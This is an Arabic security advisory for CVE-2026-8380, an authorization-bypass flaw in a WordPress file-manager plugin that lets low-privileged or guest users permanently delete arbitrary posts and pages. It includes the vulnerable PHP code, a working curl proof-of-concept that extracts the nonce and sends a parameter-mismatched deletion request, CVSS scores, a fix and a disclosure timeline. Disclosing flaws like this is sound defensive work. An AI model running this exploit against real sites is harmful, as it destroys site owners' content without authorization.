
CVE-2026-8380
تم اكتشاف ثغرة خطيرة في التحقق من الصلاحية في إضافة ووردبريس إدارة الملفات في الواجهة الأمامية (nmedia-user-file-uploader) والتي تؤثر على الإصدارات <= 23.6.
تسمح الثغرة للمستخدمين الموثَّقين ذوي الصلاحيات المنخفضة بحذف منشورات وصفحات ومرفقات وأنواع محتوى مخصصة في ووردبريس بشكل دائم، وذلك بسبب ضعف التحقق من الصلاحية في نقطة نهاية الحذف عبر AJAX.
عند تفعيل خيار الإضافة _allow_guest_upload=yes، تصبح الثغرة قابلة للاستغلال من قبل مهاجمين غير موثَّقين.
nmedia-user-file-uploader)تحتوي الإضافة على ثغرة حرجة في تجاوز التحقق من الصلاحية تسمح بحذف عشوائي لمحتوى ووردبريس من خلال عدم تطابق المعاملات في التحقق داخل إجراء AJAX wpfm_delete_file.
تم التحقق من الثغرة بنجاح في بيئة مختبرية محكومة مع استغلال فعال لإثبات المفهوم.
كما تم تحديد نقاط ضعف أمنية إضافية أثناء البحث:
_allow_guest_upload تعطيل فحوصات الصلاحية في نقاط نهاية متعددةREMOTE_ADDR فقطPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
يقوم فحص الصلاحية بالتحقق من الملكية باستخدام المعامل المفرد:
$_POST['file_id']
ولكن عملية الحذف الفعلية تتكرر عبر معامل مختلف:
$_POST['file_ids[]']
بسبب هذا عدم التطابق، يمكن للمهاجم:
file_idfile_ids[]لا يوجد تحقق لضمان:
file_ids[]post_type)file_id و file_ids[]ونتيجة لذلك، يمكن حذف محتوى ووردبريس عشوائياً بشكل دائم.
يمكن للمستخدم الموثَّق ذي الصلاحيات الدنيا حذف ما يلي بشكل دائم:
يتم الحذف باستخدام:
wp_delete_post($file_id, true);
أي يتم إزالة المحتوى بشكل دائم دون إمكانية الاستعادة من سلة المهملات.
إذا تم تفعيل _allow_guest_upload=yes:
192.168.1.1:8080wpfm_sub : Sub@Test123
معرف الصفحة: 60
معرف المنشور: 61
يزور المهاجم صفحة تحتوي على الكود المختصر:
[ffmwp]
استخراج nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
الاستجابة:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| المعامل | الوصف |
|---|---|
file_id=57 | منشور مملوك للمشترك يُستخدم لتجاوز التحقق من الصلاحية |
file_ids[]=60 | صفحة المسؤول الضحية |
file_ids[]=61 | منشور المسؤول الضحية |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 عالية
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 حرجة
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
التحقق من الملكية ونوع المنشور لكل إدخال داخل file_ids[].
مثال على تطبيق آمن:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| الحدث | التاريخ |
|---|---|
| اكتشاف الثغرة | 2026-05-28 |
| الاتصال بالمطور | 2026-05-28 |
| نشر WPScan | 2026-06-04 |
| الإفصاح العام | 2026-06-18 |
تم إجراء هذا البحث في بيئة مختبرية محكومة لأغراض تعليمية وبحثية أمنية فقط.
لا تختبر الأنظمة دون الحصول على التصريح المناسب.